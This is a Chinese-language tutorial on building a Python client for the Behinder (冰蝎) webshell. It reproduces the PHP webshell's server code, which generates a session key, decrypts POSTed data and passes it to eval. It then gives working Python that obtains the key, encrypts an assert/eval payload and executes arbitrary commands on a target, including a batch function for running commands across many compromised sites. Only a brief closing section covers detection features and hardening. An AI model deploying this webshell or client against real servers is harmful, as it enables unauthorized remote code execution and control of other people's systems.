用python连接冰蝎的代码实现(一)
字数 934 2025-08-26 22:11:56
Python连接冰蝎的代码实现教学文档
1. 冰蝎简介
冰蝎(Behinder)是一款流行的Webshell管理工具,相比传统菜刀、蚁剑等工具,冰蝎采用了更先进的流量加密技术,有效规避常规WAF检测。
2. 冰蝎PHP服务端分析
2.1 密钥生成机制
if (isset($_GET['pass'])) {
$key = substr(md5(uniqid(rand())), 16);
$_SESSION['k'] = $key;
print $key;
}
- 通过GET参数
pass触发密钥生成 - 使用
md5(uniqid(rand()))生成随机字符串 - 取16位作为密钥(
substr(..., 16)) - 密钥存储在SESSION中(
$_SESSION['k']) - 密钥直接输出到页面
2.2 请求处理逻辑
$key = $_SESSION['k'];
$post = file_get_contents("php://input");
if (!extension_loaded('openssl')) {
// 无OpenSSL时的解密方式
$t = "base64_" . "decode";
$post = $t($post . "");
for ($i = 0; $i < strlen($post); $i++) {
$post[$i] = $post[$i] ^ $key[$i + 1 & 15];
}
} else {
// 有OpenSSL时的解密方式
$post = openssl_decrypt($post, "AES128", $key);
}
$arr = explode('|', $post);
$func = $arr[0];
$params = $arr[1];
class C {
public function __construct($p) {
eval($p . "");
}
}
@new C($params);
3. Python实现冰蝎客户端
3.1 实现步骤
- 获取密钥:通过GET请求获取16位密钥
- 构造代码:按照冰蝎格式构造payload
- 加密传输:对payload进行加密并POST传输
3.2 完整代码实现
import requests
import base64
def jiami(key, text):
"""
加密函数
:param key: 16位密钥
:param text: 待加密文本
:return: base64编码后的密文
"""
miwen = ''
for i in range(0, len(text)):
miwen = miwen + chr(ord(text[i]) ^ ord(key[((i + 1) & 15)]))
return base64.b64encode(miwen.encode("utf-8"))
def connect_behinder(host, pwd, cmd):
"""
连接冰蝎Webshell
:param host: 目标URL
:param pwd: 连接密码
:param cmd: 要执行的命令
"""
s = requests.Session()
# 1. 获取密钥
url = host + "?" + pwd + "=1"
print("[*] 获取密钥URL:", url)
key = s.get(url).text
print("[+] 获取到密钥:", key)
# 2. 构造payload并加密
payload = "assert|eval(base64_decode('{}'));".format(
base64.b64encode(cmd.encode()).decode()
)
miwen = str(jiami(key, payload))[2:-1]
print("[*] 加密后的payload:", miwen)
# 3. 发送加密请求
req = s.post(host, data=miwen)
print("[+] 执行结果:\n", req.text)
# 使用示例
if __name__ == "__main__":
host = "http://127.0.0.1/test.php" # 替换为目标URL
pwd = "pass" # 替换为Webshell密码
cmd = "echo system('whoami');" # 要执行的命令
connect_behinder(host, pwd, cmd)
3.3 代码解析
-
jiami函数:
- 实现与PHP服务端相同的异或加密算法
- 使用
key[(i+1)&15]确保索引在0-15范围内 - 返回base64编码后的密文
-
connect_behinder函数:
- 使用requests.Session保持会话
- 通过GET请求获取密钥
- 构造冰蝎格式的payload:
assert|eval(base64_decode(...)) - 对payload进行加密并发送POST请求
-
命令构造:
- 使用base64编码避免特殊字符问题
- 示例命令
echo system('whoami');可替换为任意PHP代码
4. 进阶实现
4.1 支持OpenSSL加密方式
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
def openssl_encrypt(key, text):
cipher = AES.new(key.encode('utf-8'), AES.MODE_ECB)
padded_text = pad(text.encode('utf-8'), AES.block_size)
encrypted = cipher.encrypt(padded_text)
return base64.b64encode(encrypted).decode('utf-8')
def connect_behinder_openssl(host, pwd, cmd):
s = requests.Session()
# 获取密钥
url = host + "?" + pwd + "=1"
key = s.get(url).text
# 构造并加密payload
payload = "assert|eval(base64_decode('{}'));".format(
base64.b64encode(cmd.encode()).decode()
)
miwen = openssl_encrypt(key, payload)
# 发送请求
req = s.post(host, data=miwen)
print(req.text)
4.2 批量操作实现
def batch_execute(targets, cmd):
"""
批量执行命令
:param targets: 目标列表,格式[{'url':..., 'pwd':...}, ...]
:param cmd: 要执行的命令
"""
results = {}
for target in targets:
try:
print("[*] 正在处理:", target['url'])
s = requests.Session()
key = s.get(target['url'] + "?" + target['pwd'] + "=1").text
payload = "assert|eval(base64_decode('{}'));".format(
base64.b64encode(cmd.encode()).decode()
)
miwen = str(jiami(key, payload))[2:-1]
req = s.post(target['url'], data=miwen)
results[target['url']] = req.text
except Exception as e:
results[target['url']] = "Error: " + str(e)
# 输出结果
for url, result in results.items():
print("\nURL:", url)
print("Result:", result)
5. 防御措施
-
检测特征:
- 固定URL参数
pass=1 - 特定格式的payload结构
- 固定长度的密钥
- 固定URL参数
-
防护建议:
- 禁用危险函数如
eval,assert,system等 - 监控异常SESSION使用
- 检查文件修改时间和异常文件
- 禁用危险函数如
6. 总结
本教学详细分析了冰蝎PHP服务端的工作原理,并提供了Python实现客户端的完整代码,包括:
- 密钥获取机制
- 无OpenSSL时的异或加密实现
- 命令构造与执行流程
- 进阶的OpenSSL支持和批量操作
通过理解这些原理,可以更好地进行安全防护或红队测试工作。